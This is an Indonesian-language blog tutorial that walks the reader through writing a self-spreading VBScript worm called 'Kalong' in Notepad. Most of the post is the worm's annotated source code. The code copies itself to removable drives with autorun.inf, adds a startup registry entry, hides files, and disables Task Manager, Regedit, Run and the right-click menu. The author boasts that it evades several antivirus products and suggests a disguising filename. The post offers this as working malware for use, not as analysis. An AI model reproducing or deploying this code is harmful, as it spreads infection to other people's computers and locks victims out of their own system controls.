Dalam hari ini bayarsaja.blogspot.com akan menyampaikan artikel tentang Membuat Virus Sederhana. Semoga dengan berita Membuat Virus Sederhana akan menambah wawasan untuk anda pembaca setia bayarsaja.blogspot.com
kita akan membuat virus yang sederhana menggunakan Notepad. Virus ini akan membuat dirinya menyebar ke removable disc dengan AutoRun sehingga komputer lain yang tercolok flash disc terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan infector-nya. Virus ini saya beri nama Kalong.VBS. Sekarang buka Notepad-nya. Copy kode berikut :
Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type pilih All Files (*.*). Simpan dengan nama : k4l0n6.dll.vbs. Sebenarnya gak usah pake *.dll juga gak apa-apa tapi usaha agar tidak mencurigakan aja.
He..heVirus Worm ini memang bukan murni dari pemikiran saya sendiri karena meniru kode-nya virus Rangga-Zay. Tapi yang ini lebih bagus karena tidak terdeteksi pakai PCMAV RC15, CLAMAV, dan AVAST. Itung-itung ini buat Anda tahu kalau membuat virus/worm tidak perlu membeli software bajakan. Pakai Notepad (dari Windows Original) juga bisa.
1 2 | //Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus// on error resume next |
1 2 | //Dim kata-kata berikut ini// dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd |
1 2 3 4 5 6 7 8 9 10 11 12 13 | //Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information// isi = [autorun] & vbcrlf & shellexecute=wscript.exe k4l0n6.dll.vbs set fs = createobject(Scripting.FileSystemObject) set mf = fs.getfile(Wscript.ScriptFullname) dim text,size size = mf.size check = mf.drive.drivetype set text = mf.openastextstream(1,-2) do while not text.atendofstream rekur = rekur & text.readline rekur = rekur & vbcrlf loop do |
1 2 3 4 5 6 7 8 9 10 11 | //Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows) Set windowpath = fs.getspecialfolder(0) set tf = fs.getfile(windowpath & \batch- k4l0n6.dll.vbs ) tf.attributes = 32 set tf=fs.createtextfile(windowpath & \batch- k4l0n6.dll.vbs,2,true) tf.write rekursif tf.close set tf = fs.getfile(windowpath & \batch- k4l0n6.dll.vbs ) tf.attributes = 39 //Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok// Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket |
1 2 3 | for each flashdrive in fs.drives //Cek Drive// If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> A: then |
1 2 3 4 5 6 7 8 | //Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\// set tf=fs.getfile(flashdrive.path &\k4l0n6.dll.vbs ) tf.attributes =32 set tf=fs.createtextfile(flashdrive.path &\k4l0n6.dll.vbs ,2,true) tf.write rekursif tf.close set tf=fs.getfile(flashdrive.path &\k4l0n6.dll.vbs ) tf.attributes = 39 |
1 2 3 4 5 6 7 8 9 10 | //Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)// set tf =fs.getfile(flashdrive.path &\autorun.inf) tf.attributes = 32 set tf=fs.createtextfile(flashdrive.path &\autorun.inf,2,true) tf.write isi tf.close set tf = fs.getfile(flashdrive.path &\autorun.inf) tf.attributes=39 end if next |
1 | //Manipulasi Registry// |
1 | set kalong = createobject(WScript.Shell) |
1 2 | //Manip - Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY// kalong.regwrite HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title, THE KALONG v.s. ZAY |
1 2 | //Manip Set agar file hidden tidak ditampilkan di Explorer// kalong.RegWrite HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden, 0, REG_DWORD |
1 2 3 4 5 6 | //Manip Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager// kalong.RegWrite HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind, 1, REG_DWORD kalong.RegWrite HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions, 1, REG_DWORD kalong.RegWrite HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun, 1, REG_DWORD kalong.RegWrite HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools, 1, REG_DWORD kalong.RegWrite HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr, 1, REG_DWORD |
1 2 | //Manip Disable klik kanan// kalong.RegWrite HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu, 1, REG_DWORD |
1 2 | //Manip - Munculkan Pesan Setiap Windows Startup// kalong.regwrite HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption, Worm Kalong. Variant from Rangga-Zay, dont panic all data are safe. |
1 2 | //Manip Aktif setiap Windows Startup// kalong.regwrite HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir, windowpath & \batch- k4l0n6.dll.vbs |
1 2 3 | //Manip Ubah RegisteredOwner dan Organization// kalong.regwrite HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization, The Batrix kalong.regwrite HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner,Kalong |
1 2 3 4 5 6 7 8 | //Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan// if check <> 1 then Wscript.sleep 200000 end if loop while check <> 1 set sd = createobject(Wscript.shell) sd.run windowpath & \explorer.exe /e,/select, & Wscript.ScriptFullname Akhir dari Kode |
Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type pilih All Files (*.*). Simpan dengan nama : k4l0n6.dll.vbs. Sebenarnya gak usah pake *.dll juga gak apa-apa tapi usaha agar tidak mencurigakan aja.
He..heVirus Worm ini memang bukan murni dari pemikiran saya sendiri karena meniru kode-nya virus Rangga-Zay. Tapi yang ini lebih bagus karena tidak terdeteksi pakai PCMAV RC15, CLAMAV, dan AVAST. Itung-itung ini buat Anda tahu kalau membuat virus/worm tidak perlu membeli software bajakan. Pakai Notepad (dari Windows Original) juga bisa.
Dapatkan berita terupdate dan unik setiap saat hanya di bayarsaja.blogspot.com
Homepage|http://bayarsaja.blogspot.com
0 komentar:
Posting Komentar
Mohon berkomentar dengan baik dan sopan. Komentar bernada spam akan saya hapus